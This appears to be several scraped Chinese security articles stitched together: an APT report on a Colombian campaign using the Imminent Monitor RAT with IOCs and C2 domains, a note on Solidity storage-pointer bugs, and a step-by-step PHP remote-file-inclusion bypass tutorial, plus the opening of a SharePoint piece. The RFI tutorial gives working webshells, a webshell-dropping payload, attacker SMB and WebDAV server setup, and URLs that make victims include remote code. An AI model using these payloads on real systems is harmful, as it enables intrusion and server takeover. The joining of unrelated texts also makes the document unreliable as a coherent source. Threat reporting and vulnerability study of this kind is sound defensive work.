该样本包含Imminent Monitor RAT实体功能代码，但采用了ConfuserEx+Eazfuscator.NET双重淆器加密了代码，如下图所示：
部分去混淆后可以看出其提供的功能如下表：
ID | 功能
---|---
bDfBqxDCINCfwSAfMnZwspLefnc | 主机管理
ChatPacket | 用户支持
cokLfFnjBwgKtzdTpdXSgQIPacR | 注册表管理
CommandPromptPacket | 远程命令行
ConnectionSocketPacket | 网络传输通道管理
ExecutePacket | 上传、下载、执行PE文件
FastTransferPacket | 支持快速传输
FilePacket | 文件管理
FileThumbnailGallery | 支持文件缩略图库
KeyLoggerPacket | 键盘记录
MalwareRemovalPacket | 恶意功能管理
MessageBoxPacket | 聊天消息
MicrophonePacket | 麦克风聊天
MouseActionPacket | 鼠标动作
MouseButtonPacket | 鼠标左、右、掠过等
NetworkStatPacket | 主机网络管理
PacketHeader | 通信数据头信息
PasswordRecoveryPacket | 浏览器密码恢复
PluginPacket | 插件管理
ProcessPacket | 进程管理
ProxyPacket | 代理管理（反向代理等）
RDPPacket | 提供远程桌面功能
RegistryPacket | 注册表操作
RemoteDesktopPacket | 标志远程桌面数据包
ScriptPacket | 执行脚本（html、vbs、batch）
SpecialFolderPacket | Windows特殊文件夹
StartupPacket | 启动项操作
TcpConnectionPacket | TCP刷新及关闭
ThumbnailPacket | 缩略图相关
TransferHeader | 通信连接操作
WebcamPacket | 网络摄像头相关
WindowPacket | Windows操作（刷新、最大化、最小化等）
通过分析与其官方网站提供的功能说明一致：
* 动态调试
核心模块运行后会检测是否在%temp%\\[appname]目录下，如果不在则将自身拷贝为%temp%\\[appname]\\[appname]，并设置文件属性为隐藏：
然后启动%temp%\\[appname]：
最后删除原始文件，并退出进程
样本重新启动后将在%AppData%目录创建Imminent目录，该目录将保存加密后的日志、网络信息、系统信息等文件，当接受到相应指令时发送到服务端：
C&C地址为：mentes.publicvm.com:4050
### TTP（战术、技术、过程）
360威胁情报中心总结了该APT组织的TTP如下：
攻击目标 | 哥伦比亚的政府机构、大型企业以及跨国企业的哥伦比亚分支部门
---|---
最早活动时间 | 2018年4月
主要风险 | 主机被远程控制，机密信息被窃取
攻击入口 | 鱼叉邮件
初始载荷 | MHTML文件格式含恶意宏代码的Word文档
恶意代码 | Imminent后门
通信控制 | 基于动态域名的远程控制
抗检测能力 | 中
受影响应用 | Windows系统主机
主要攻击战术技术特征分析 |
1. 通过入侵西班牙语网站或者注册有隐私保护的域名并上传用于投放的攻击载荷文件和文档；
2. 发送带有MHTML文件格式并包含恶意宏代码的Word文档的鱼叉邮件，并会使用RAR加密诱饵文档以避免邮件网关的查杀；
3. 攻击者伪装成哥伦比亚国家民事登记处、哥伦比亚国家税务和海关总署、哥伦比亚国家统计局、哥伦比亚国家网络警察局、哥伦比亚国家司法部门，对哥伦比亚的政府、金融机构，本国大型企业或跨国公司的哥伦比亚分公司进行攻击；
4. 使用了商业木马Imminent对目标进行远程控制，并采用了基于动态域名的远程控制技术；
## 溯源和关联
360威胁情报中心通过分析攻击者投递的多个加密的Office
Word文档的最后修改时间、MHTML文档字符集（语言环境）等信息，并结合地缘政治等APT攻击的相关要素，怀疑攻击者来自于UTC时区在西4区（UTC-4）正负1小时对应的地理位置区域。
### 可靠的文件修改时间
以投递的加密RAR压缩包（Registraduria Nacional del Estado Civil -Proceso
inicado.rar）为例，由于RAR会保存文件的修改时间，所以解密RAR包后得到的Word文档的修改时间非常可靠。右边为解密得到的Word文档修改时间，这和左边诱饵文档（MHTML）元信息内包含的文档修改时间一致（由于笔者处于UTC+8时区，需要将文件修改时间减8小时对比）：
通过对比所有加密RAR文件内的诱饵文档修改时间和文档元信息内的文档修改时间，我们有很大的把握确认文档元信息内的修改时间为攻击者的真实修改时间，这样我们可以以捕获到的所有诱饵文档元信息内的修改时间做数据统计。
### MHTML诱饵文档修改时间统计
我们统计了所有诱饵文档的修改时间如下表：
UTC+00
---
00:32
01:15
01:15
01:17
01:35
01:59
02:57
03:28
04:40
04:55
05:17
12:27
12:49
12:50
13:38
13:42
13:49
14:21
14:22
15:19
15:26
15:30
15:56
17:22
17:58
18:31
20:53
21:31
23:30
从大量样本的修改时间可以看出，从未出现过修改时间在05:30到12:30之间的诱饵文档。基于最合理的推测：正常的休息时间应该在晚12点到早8点之间的区域（睡觉时间段），那么攻击者所处的时区应该在西4区（UTC-4）正负1小时的区间内。
### PE时间戳与诱饵文档修改时间对比
我们还统计了木马程序去混淆后dump出来的核心PE文件时间戳信息，与每个对应的诱饵文档修改时间进行对比可以看出：诱饵文档的修改时间与对应的PE文件的时间戳间隔都非常接近，这更加说明了该攻击活动的定向属性：
诱饵文档修改时间 | 木马核心模块时间戳
---|---
2019/2/11 17:58 | 2019/2/14 3:28
2018/12/3 15:30 | 2018/12/3 23:26
2018/11/26 18:31 | 2018/10/17 22:29
2018/11/15 12:49 | 2018/10/17 22:29
2018/11/8 14:21 | 2018/10/17 22:29
2018/10/26 13:49 | 2018/10/17 22:29
2018/10/22 17:22 | 2018/10/17 22:29
2018/10/12 15:56 | 2018/10/17 22:29
2018/10/4 5:17 |
2018/9/13 13:42 | 2018/8/27 22:08
2018/9/9 0:32 |
2018/9/2 20:53 | 2018/8/27 22:08
2018/8/27 15:19 | 2018/8/27 22:08
2018/8/6 1:35 | 2018/8/1 11:25
2018/8/1 2:57 | 2018/8/1 11:25
2018/7/31 1:59 | 2018/8/1 11:25
2018/7/30 1:17 | 2018/8/1 11:25
2018/7/26 3:28 | 2018/8/27 22:08
2018/7/10 4:55 | 2018/7/11 11:47
2018/6/19 21:31 |
2018/6/14 1:15 |
2018/6/14 1:15 |
2018/5/29 13:38 |
2018/5/18 14:22 | 2018/5/22 20:11
2018/4/28 12:27 | 2018/5/22 20:11
2018/4/25 23:30 | 2018/5/22 20:11
2018/4/24 12:50 |
2018/4/17 15:26 | 2018/5/22 20:11
2018/4/6 4:40 |
### 语言和charset
另外，我们统计了所有的诱饵文档（MHTML），可以看到所有诱饵文档都基于西欧语言环境（西班牙语等）编写：
Charset：windows-1252
而部分诱饵文档的作者信息也是西班牙文：
Centro de Servicios Judiciales
### 攻击者画像
基于攻击者所处时区、使用的语言以及APT攻击的地缘政治因素我们总结了以下观点：
1. 攻击者所处时区的地理范围刚好处于南美洲
2. 南美洲大部分国家都使用西班牙语（除巴西），这和攻击者的语言环境及Office用户名吻合
3. APT攻击大部分基于地缘政治因素（本国或邻国）
4. 从受害者的背景以及本次攻击行动的持续时间来看，攻击者所关注的政企机构在战略层面有重大意义，且持续时间较长。
综上所述，360威胁情报中心认为攻击者有较大可能是来源于南美洲国家的具有国家背景的APT组织。
## IOC
诱饵文档MD5 | 文件名
---|---
0c97d7f6a1835a3fe64c1c625ea109ed | Registraduria Nacional – Notificacion
cancelacion cedula de ciudadania.doc
16d3f85f03c72337338875a437f017b4 | estado de cuenta.doc
27a9ca89aaa7cef1ccb12ddefa7350af |
455be8a4210b84f0e93dd96f7a0eec4ef9816d47c11e28cf7104647330a03f6d.bin
3a255e93b193ce654a5b1c05178f7e3b | estado de cuenta.doc
3be90f2bb307ce1f57d5285dee6b15bc | Reporte Datacredito.doc
3de286896c8eb68a21a6dcf7dae8ec97 | egistraduria Nacional del Estado Civil
-Proceso inicado.doc
46665f9b602201f86eef6b39df618c4a | Orden de comparendo N\xc2\xb0 5098.doc
476657db56e3199d9b56b580ea13ddc0 | Reporte Negativo como codeudor.doc
4bbfc852774dd0a13ebe6541413160bb | listado de funcionarios autorizados para
censo nacional 2018.doc
51591a026b0962572605da4f8ecc7b1f | Orden de comparendo multa detallada.doc
66f332ee6b6e6c63f4f94eed6fb32805 | Codigo Tarjeta Exito Regalo.doc
688b7c8278aad4a0cc36b2af7960f32c | fotos.doc
7fb75146bf6fba03df81bf933a7eb97d | Dian su deuda a la fecha.doc
91cd02997b7a9b0db23f9f6377315333 | credito solicitado.doc
9a9167abad9fcab18e02ef411922a7c3 | comparendo electronico.doc
a91157a792de47d435df66cccd825b3f | C:\Users\kenneth.ubeda\Desktop\Migracion
colombia proceso pendiente 509876.doc
b4ab56d5feef2a35071cc70c40e03382 | Reporte fraude desde su dirrecion ip.doc
b6691f01e6c270e6ff3bde0ad9d01fff | Dian Embargo Prima de Navidad.doc
cbbd2b9a9dc854d9e58a15f350012cb6 | IMPORTANTE IMPORTANT.doc
cf906422ad12fed1c64cf0a021e0f764 | Migracion colombia Proceso pendiente.doc –
copia.nono.txt
e3050e63631ccdf69322dc89bf715667 | Citacion Fiscalia general de la Nacion
Proceso 305351T.doc
ea5b820b061ff01c8da527033063a905 | Fiscalia proceso 305351T.doc
eb2ea99918d39b90534db3986806bf0c | Proceso Pendiente Migracion Colombia
(2).doc
ecccdbb43f60c629ef034b1f401c7fee | Dian Embargo Bancario
ee5531fb614697a70c38a9c8f6891ed6 | BoardingPass.doc
fd436dc13e043122236915d7b03782a5 | text.doc
bf95e540fd6e155a36b27ad04e7c8369 | Migracion colombia Proceso pendiente.mht
ce589e5e6f09b603097f215b0fb3b738 | estado de cuenta.mht
b0687578284b1d20b9b45a34aaa4a592 | sanción declaracion de renta.doc
木马MD5
---
0915566735968b4ea5f5dadbf7d585cc
0a4c0d8994ab45e5e6968463333429e8
0e874e8859c3084f7df5fdfdce4cf5e2
1733079217ac6b8f1699b91abfb5d578
19d4a9aee1841e3aee35e115fe81b6ab
1bc52faf563eeda4207272d8c57f27cb
20c57c5efa39d963d3a1470c5b1e0b36
2d52f51831bb09c03ef6d4237df554f3
30ecfee4ae0ae72cf645c716bef840a0
3155a8d95873411cb8930b992c357ec4
3205464645148d393eac89d085b49afe
352c40f10055b5c8c7e1e11a5d3d5034
42f6f0345d197c20aa749db1b65ee55e
4354cb04d0ac36dab76606c326bcb187
43c58adee9cb4ef968bfc14816a4762b
4daacd7f717e567e25afd46cbf0250c0
4e7251029eb4069ba4bf6605ee30a610
50064c54922a98dc1182c481e5af6dd4
519ece9d56d4475f0b1287c0d22ebfc2
53774d4cbd044b26ed09909c7f4d32b3
5be9be1914b4f420728a39fdb060415e
5dee0ff120717a6123f1e9c05b5bdbc2
60daac2b50cb0a8bd86060d1c288cae2
6d1e586fbbb5e1f9fbcc31ff2fbe3c8c
763fe5a0f9f4f90bdc0e563518469566
7a2d4c22005397950bcd4659dd8ec249
7b69e3aaba970c25b40fad29a564a0cf
8518ad447419a4e30b7d19c62953ccaf
8ec736a9a718877b32f113b4c917a97a
940d7a7b6f364fbcb95a3a77eb2f44b4
9b3250409072ce5b4e4bc467f29102d2
9db2ac3c28cb34ae54508fab90a0fde7
a1c29db682177b252d7298fed0c18ebe
a3f0468657e66c72f67b7867b4c03b0f
a7cc22a454d392a89b62d779f5b0c724
aaf04ac5d630081210a8199680dd2d4f
ac1988382e3bcb734b60908efa80d3a5
ad2c940af4c10f43a4bdb6f88a447c85
afb80e29c0883fbff96de4f06d7c3aca
b0ed1d7b16dcc5456b8cf2b5f76707d6
b3be31800a8fe329f7d73171dd9d8fe2
b5887fc368cc6c6f490b4a8a4d8cc469
b9d9083f182d696341a54a4f3a17271f
c654ad00856161108b90c5d0f2afbda1
ccf912e3887cae5195d35437e92280c4
d0cd207ae63850be7d0f5f9bea798fda
df91ac31038dda3824b7258c65009808
e2771285fe692ee131cbc072e1e9c85d
e2f9aabb2e7969efd71694e749093c8b
e3dad905cecdcf49aa503c001c82940d
e4461c579fb394c41b431b1268aadf22
e770a4fbada35417fb5f021353c22d55
e7d8f836ddba549a5e94ad09086be126
e9e4ded00a733fdee91ee142436242f4
edef2170607979246d33753792967dcf
ef9f19525e7862fb71175c0bbfe74247
f1e85e3876ddb88acd07e97c417191f4
f2776ed4189f9c85c66dd78a94c13ca2
f2d81d242785ee17e7af2725562e5eae
f3d22437fae14bcd3918d00f17362aad
f7eb9a41fb41fa7e5b992a75879c71e7
f90fcf64000e8d378eec8a3965cff10a
恶意域名
---
ceoempresarialsas.com
ceosas.linkpc.net
ceoseguros.com
diangovcomuiscia.com
ismaboli.com
medicosco.publicvm.com
mentes.publicvm.com
恶意URL
---
http://ceoempresarialsas.com/js/d.jpg
http://ceoseguros.com/css/c.jpg
http://ceoseguros.com/css/d.jpg
http://diangovcomuiscia.com/media/a.jpg
http://dianmuiscaingreso.com/css/w.jpg
http://dianportalcomco.com/bin/w.jpg
http://ismaboli.com/dir/i.jpg
http://ismaboli.com/js/i.jpg
RAR加密压缩包MD5 | 密码
---|---
592C9B2947CA31916167386EDD0A4936 |
censonacionaldepoblacion2018307421e68dd993c4a8bb9e3d5e6c066946ro
A355597A4DD13B3F882DB243D47D57EE |
documentoadjuntodian876e68dd993c4a8bb9e3d5e6c066946deudaseptiembre
77FEC4FA8E24D580C4A3E8E58C76A297 |
procesofiscalia30535120180821e68dd993c4a8bb9e3d5e6c066946se
0E6533DDE4D850BB7254A5F3B152A623 | migracioncolombia
F486CDF5EF6A1992E6806B677A59B22A | credito
FECB2BB53F4B51715BE5CC95CFB8546F | 421e68dd993c4a8bb9e3d5e6c066946r
19487E0CBFDB687538C15E1E45F9B805 |
centrociberneticoenviosipfraude876e68dd993c4a8bb9e3d5e6c066946octubre
99B258E9E06158CFA17EE235A280773A |
fiscaliadocumentos421e68dd993c4a8bb9e3d5e6c066946agosto
B6E43837F79015FD0E05C4F4B2F30FA5 |
20180709registraduria421e68dd993c4a8bb9e3d5e6c066946r
## 参考链接
[1].https://cloudblogs.microsoft.com/microsoftsecure/2018/05/10/enhancing-office-365-advanced-threat-protection-with-detonation-based-heuristics-and-machine-learning/
[2].http://www.pwncode.club/2018/09/mhtml-macro-documents-targeting.html | 社区文章 |
# 以太坊 Solidity 未初始化存储指针安全风险浅析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本文由Thinking@慢雾安全团队撰写，这里是原文 GitHub
> 地址：<https://github.com/slowmist/papers/blob/master/Solidity_Unintialised_Storage_Pointers_Security_Risk.pdf>
## 0x00 引子
看到安比实验室有篇文章在说《警惕！Solidity缺陷易使合约状态失控》的问题，原文链接可以在参考链接中获取。
这个问题实际上之前在慢雾区中，爱上平顶山(山哥)和 keywolf 就有对一篇外文进行了翻译，可以在 SlowMist 的 GitHub
中找到(地址见参考链接)，这篇译文《Solidity 安全：已知攻击方法和常见防御模式综合列表》里面就有讲到。
其实就是 `Unintialised Storage Pointers（未初始化的存储指针）`的安全问题，EVM中会将数据存储为 storage 或
memory ，在函数中局部变量的默认类型取决于它们本身的类型，未进行初始化的 storage
变量，会指向合约中的其他变量，从而改变其他变量的值，常见的场景就是指向状态变量，改变状态变量的值，导致漏洞的产生。
## 0x01 分析过程
依据 Solidity 官方手册上的介绍，以及经过实验得到了一些总结分析。
这里要注意结构体，数组和映射的局部变量，在官方手册中有提到这些类型的局部变量默认是放在 storage
中的，因此这些局部变量可能都存在相同的问题。（本文分析了结构体和数组的 Unintialised Storage Pointers 问题，而 mapping
暂未找到存在问题的案例）
而 struct 中在和局部变量进行赋值操作的时候，是保存成一个引用
如下是问题代码，struct 在函数中被声明但是没有初始化，根据官方文档中可以知道，struct 在局部变量中默认是存放在 storage
中的，因此可以利用 Unintialised Storage Pointers 的问题，`p`会被当成一个指针，并默认指向`slot[0]`和
`slot[1]` ，因此在进行`p.name`和 `p.mappedAddress`赋值的时候，实际上会修改变量`testA`，`test B`的值。
pragma solidity ^0.4.0;
contract testContract{
bytes32 public testA;
address public testB;
struct Person {
bytes32 name;
address mappedAddress;
}
function test(bytes32 _name, address _mappedAddress) public{
Person p;
p.name = _name;
p.mappedAddress = _mappedAddress;
}
}
同理数组也有同样的问题，如下是问题代码
pragma solidity ^0.4.0;
contract C {
uint public someVariable;
uint[] data;
function f() public {
uint[] x;
x.push(2);
data = x;
}
}
## 0x02 解决方案
结构体 Unintialised Storage Pointers 问题的正确的解决方法是将声明的 struct 进行赋值初始化，通过创建一个新的临时
memory 结构体，然后将它拷贝到 storage 中。
pragma solidity ^0.4.0;
contract testContract{
bytes32 public testA;
address public testB;
struct Person {
bytes32 name;
address mappedAddress;
}
mapping (uint => Person) persons;
function test(uint _id, bytes32 _name, address _mappedAddress) public{
Person storage p = persons[_id];
p.name = _name;
p.mappedAddress = _mappedAddress;
}
}
数组 Unintialised Storage Pointers 问题的正确解决方法是在声明局部变量 x 的时候，同时对 x 进行初始化操作。
pragma solidity ^0.4.0;
contract C {
uint public someVariable;
uint[] data;
function f() public {
uint[] x = data;
x.push(2);
}
}
Solidity 编译器开发团队不出意外将在下一个版本（Solidity 0.4.25）中对存在 Unintialised Storage Pointers
问题的代码进行修复，否则将无法正常通过编译。
开发人员需要关注 Solidity 0.4.25 版本的发布，并且使用 Solidity 0.4.25 编写代码。
**最后，本篇未涉及的 mapping 未初始化存储指针的安全问题和案例，期待能够和师傅们一起研究讨论。**
## 0x03 参考链接
《警惕！Solidity 缺陷易使合约状态失控》
_<https://mp.weixin.qq.com/s/xex9Eef6Hz5o24sX5vE1Yg>_
《Solidity 安全：已知攻击方法和常见防御模式综合列表》
[ _https://github.com/slowmist/Knowledge-Base/blob/master/solidity-security-comprehensive-list-of-known-attack-vectors-and-common-anti-patterns-chinese.md#%E8%99%9A%E6%8B%9F%E5%8C%96%E5%AD%98%E5%82%A8%E6%8C%87%E9%92%88_](https://github.com/slowmist/Knowledge-Base/blob/master/solidity-security-comprehensive-list-of-known-attack-vectors-and-common-anti-patterns-chinese.md#%E8%99%9A%E6%8B%9F%E5%8C%96%E5%AD%98%E5%82%A8%E6%8C%87%E9%92%88
"https://github.com/slowmist/Knowledge-Base/blob/master/solidity-security-comprehensive-list-of-known-attack-vectors-and-common-anti-patterns-chinese.md#%E8%99%9A%E6%8B%9F%E5%8C%96%E5%AD%98%E5%82%A8%E6%8C%87%E9%92%88")
《Solidity 官方文档》
_<http://solidity.readthedocs.io/en/v0.4.24/frequently-asked-questions.html>_
_<http://solidity.readthedocs.io/en/latest/types.html#structs>_ | 社区文章 |
# RFI巧用WebDAV绕过URL包含限制Getshell
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
关于远程文件包含（Remote File Inclusion）漏洞，自从 `php version 5.2`
之后一直是一个比较鸡肋的问题！！！直到2019年5月份，国外的一篇文章（[RFI-SMB](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)）和推文（Twitter）吸引了大家的注意，其大概内容主要是通过PHP远程文件包含中
`allow_url_fopen`和`allow_url_include`
仅限制`http://`和`ftp://`的缺陷，利用SMB协议的文件共享进行绕过与包含。虽说，SMB如今在国内的局限性很大，但是在一定程度上，打破了RFI
URL包含限制的局面，同时，也启发了针对 `RFI`
的扩展利用和探索。正因如此，本文在其之前的基础上又进行了拓展利用与探索，通过巧用`WebDAV`来绕过URL包含限制Getshell，打破了如今`SMB`的局限性。
## RFI 基础
### 四个函数
PHP中引发文件包含漏洞的通常主要是以下四个函数：
* include()
http://www.php.net/manual/en/function.include.php
* include_once()
http://php.net/manual/en/function.include-once.php
* require()
http://php.net/manual/en/function.require.php
* require_once()
http://php.net/manual/en/function.require-once.php
### 函数功能
当利用这四个函数来包含文件时，不管文件是什么类型（图片、txt等），都会直接作为php文件进行解析。
### 函数差异
**include()**
include() 函数包含出错的话，只会提出警告，不会影响后续语句的执行
**require()**
require() 函数包含出错的话，则会直接退出，后续语句不在执行
**include_once() 和 require_once()**
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了，则
require_once() 和 include_once() 则不会再包含它，以避免函数重定义或变量重赋值等问题。
`二次包含`
`一次包含`
## RFI 限制
用一个简单的例子构造一个含有文件包含漏洞的`Demo`，演示一下远程文件包含漏洞的利用，代码如下：
<?php
$file = $_GET['file'];
include $file;
?>
在上面的漏洞代码中，file参数从GET请求中取值，并且是用户可控的动态变量。当file接收到传入的参数值后，`include()`函数会直接进行内容包含。由于，文件包含函数加载的参数`file`没有经过任何的过滤或者严格的定义，可以由攻击者进行控制发起恶意的请求，包含其它恶意文件，从而让应用程序执行攻击者精心准备的恶意脚本，具体如下：
攻击者准备的恶意脚本：`shell.php`
<?php @eval($_POST['Qftm']);?>
攻击者发起的恶意请求：`payload`
https://www.qftm.com/index.php?file=http://10.10.10.10/shell.php
通过上述请求，可以远程包含一个shell，一旦攻击者的恶意请求成功之后，可以达到任意代码执行漏洞也就是`RCE`。虽然用户没有对文件参数进行控制，但是想要得到一个真正的`RCE`还需要满足一个条件，如下`php.ini`配置：
allow_url_fopen=On
allow_url_include=On
只有当这两个配置设置成On时，最终的漏洞才能利用成功，遗憾的是PHP官方在 `php version 5.2`
之后默认的关闭了`allow_url_include`，是不是突然感觉没有了希望！！！不要放弃，下面利用我们强大的`Bypass`功能进行限制绕过。
## RFI 缺陷
对于RFI的缺陷，先来看一下PHP针对`allow_url_fopen`和`allow_url_include`的配置说明
`php7.x -> php.ini`
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen=On
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include=Off
从配置中可以看到 `allow_url_fopen`和`allow_url_include`主要是针对两种协议起作用：`http://`、
`ftp://`。
PHP针对RFI URL包含限制主要是利用`allow_url_include=Off`来实现，将其设置为Off，可以让PHP不加载远程HTTP或FTP
URL，从而防止远程文件包含攻击。那么，我们是不是可以这样想，有没有什么其它协议可以让我们去包含远程服务器文件，答案是肯定的，例如`SMB`、`WebDAV`等协议。
既然这样，攻击者就可以利用这个缺陷，使用相应的协议进行Bypass。在这个过程中，即使`allow_url_fopen`和`allow_url_include`都设置为Off，PHP也不会阻止相应的远程文件加载。
## RFI 绕过
在介绍`WebDAV Bypass`的时候先来简单了解一下`SMB Bypass`，因为他们利用道理都差不多。
### SMB Bypass
SMB协议主要于网络文件的共享，SMB所在端口445。PHP在远程匿名加载smb所共享的文件时并不会对其进行拦截。
**测试代码**
<?php
$file=$_GET['file'];
include $file;
?>
**攻击原理**
unc -> smb
**攻击场景**
当易受攻击的PHP应用程序代码尝试从攻击者控制的SMB服务器共享加载PHP Web
shell时，SMB共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此，一旦易受攻击的应用程序尝试从SMB共享访问PHP
Web shell，SMB服务器将不会要求任何凭据，易受攻击的应用程序将包含Web shell的PHP代码。
**环境配置**
首先，重新配置PHP环境，在php.ini文件中禁用`allow_url_fopen`以及`allow_url_include`。然后，配置SMB服务器具有匿名读访问权限。
* **PHP环境设置**
首先，在受害者主机上配置php.ini，将`allow_url_fopen`和`allow_url_include`设置为Off
然后重启服务查看`phpinfo()`配置是否生效
* **SAMBA服务器环境配置**
需要使用匿名读取访问权限配置SAMBA服务器（Ubuntu18.04）
Samba是在Linux和UNIX系统上实现SMB协议的一个软件
（1）安装SAMBA服务器
apt-get install samba
（2）创建SMB共享目录和 `php web shell`
mkdir /var/www/html/pub/
touch /var/www/html/pub/shell.php
（3）配置新创建的SMB共享目录的权限
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
（4）编辑samba配置文件 `/etc/samba/smb.conf`
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[Qftm]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
（5）重新启动SAMBA服务器以应用配置文件`/etc/samba/smb.conf`中的新配置
service smbd restart
成功重新启动SAMBA服务器后，尝试访问SMB共享并确保SAMBA服务器不要求凭据。
**Getshell**
在环境都配置完且验证之后，利用`samba`目录`/var/www/html/pub`中共享的WebShell进行GetShell
* `unc->payload`
http://127.0.0.1/FI/index.php?file=\192.33.6.145qftmshell.php
* `shell.php`
<?php @eval($_POST['admin']);?>
* 蚁剑连接
**SMB总结**
针对smb利用的局限性，因为这种`unc`只能是在windows下使用，而且，`smb端口(445)`
在国内已经被封杀的差不多了（勒索病毒！！！），很难应用到实际中，但是其他的像`webdav`这种同理也是可以被包含的，且利用的价值更大。
### WebDAV Bypass
WebDAV（[Web 分布式创作和版本管理](http://webdav.org/)）是一项基于 HTTP/1.1
协议的通信协议。它扩展了HTTP/1.1 协议，在Get、Post、Put、Delete 等HTTP标准方法外添加了新方法，使应用程序可对Web
Server直接读写，并支持写文件锁定(Locking)和解锁(Unlock)，以及文件的版本控制。
PHP在远程匿名加载WebDAV所共享的文件时并不会对其进行拦截。
**测试代码**
<?php
$file=$_GET['file'];
include $file;
?>
**攻击原理**
类unc -> WebDAV
**攻击场景**
当易受攻击的PHP应用程序代码尝试从攻击者控制的WebDAV服务器共享加载PHP Web
shell时，WebDAV共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的WebDAV服务器。因此，一旦易受攻击的应用程序尝试从WebDAV共享访问PHP
Web shell，WebDAV服务器将不会要求任何凭据，易受攻击的应用程序将包含Web shell的PHP代码。
**环境配置**
同SMB环境配置一样，首先，重新配置PHP环境，在php.ini文件中禁用`allow_url_fopen`以及`allow_url_include`。然后，配置WebDAV服务器。
* **PHP环境设置**
首先，在受害者主机上配置php.ini，将`allow_url_fopen`和`allow_url_include`设置为Off
然后重启服务查看`phpinfo()`配置是否生效
* **WebDAV服务器环境配置**
需要使用匿名读取访问权限配置WebDAV服务器。
**1、Ubuntu18.04手动搭建WebDAV服务器**
（1）安装Apache Web服务器
sudo apt-get install -y apache2
（2）在Apache配置中启用WebDAV模块
sudo a2enmod dav
sudo a2enmod dav_fs
（3）创建WebDAV共享目录`webdav`和 `php web shell`
sudo mkdir -p /var/www/html/webdav
sudo touch /var/www/html/webdav/shell.php
（4）将文件夹所有者更改为您的Apache用户，`www-data`以便Apache具有对该文件夹的写访问权
sudo chown -R www-data:www-data /var/www/
（5）编辑WebDAV配置文件 `/etc/apache2/sites-available/000-default.conf`
不需要启用身份验证
DavLockDB /var/www/html/DavLock
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav /var/www/html/webdav
<Directory /var/www/html/webdav>
DAV On
</Directory>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
（6）重新启动Apache服务器，以使更改生效
sudo service apache2 restart
成功重新启动Apache服务器后，尝试访问WebDAV共享并确保WebDAV服务器不要求凭据。
除了上面在Ubuntu上一步步安装WebDAV服务器外，还可以利用做好的Docker镜像。
**2、WebDAV Docker镜像**
推荐使用Docker镜像方式去安装利用，免去一些因环境或配置不当而产生的问题
（1）拉取webdav镜像
镜像地址：`https://hub.docker.com/r/bytemark/webdav`
（2）用docker启动一个webdav服务器
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
（3）在`~/webdav/data`目录里面共享自己php脚本
（5）验证Webdav服务器
浏览器验证
终端验证
**Getshell**
在环境都配置完且验证之后，利用`webdav`目录`~/webdav/data`中共享的WebShell进行GetShell
* `类unc->payload`
http://127.0.0.1/FI/index.php?file=//172.17.0.2//webdav/shell.php
* `shell.php`
<?php echo eval(system("whoami"));phpinfo();?>
<?PHP fputs(fopen('poc.php','w'),'<?php @eval($_POST[Qftm])?>');?>
为什么这个不能直接加载一句话木马呢，因为使用PHP文件包含函数远程加载Webdav共享文件时，不能附加消息(GET/POST)，但是我们可以自定义`shell.php`，通过服务器加载远程`shell.php`给我们自动生成一个`Webshell`。
请求构造的payload
从图中可以看到远程加载`shell.php`利用成功，可以根据状态码分析其加载过程：
其中`code 207`是由WebDAV(RFC
2518)扩展的状态码，代表之后的消息体将是一个XML消息，并且可能依照之前子请求数量的不同，包含一系列独立的响应代码。
* 蚁剑连接
连接远程加载`shell.php`生成的`Webshell->poc.shell`
**WebDAV总结**
`webdav`如今很多人都将其作为自己的个人数据共享存储服务器，其局限性远远小于`SMB`。
## Refference
http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx | 社区文章 |
**作者：青藤实验室**
**原文链接：<https://mp.weixin.qq.com/s/FfHc8TFUs_4H8JHWbYv3FQ>**
得益于 [@pwntester](https://twitter.com/pwntester) 和
[@Oleksandr](https://twitter.com/olekmirosh) 在 blackhat 上做的两次关于 **.net**
安全的分享， **.net** 应用的攻击面被越来越多的安全研究者了解。除了常规的反序列化，在今年的 blackhat-us 上两人更是通过一系列的
**SharePoint** （以下简称 SP） Rce 漏洞展示了如何通过各种手段 bypass SP 的安全沙箱，以至于此后，SP
成了微软月更新上的常客，后续的 SP Rce 漏洞大多使用了类似的手法，只是触发点不同，或者 bypass 了之前的 patch。
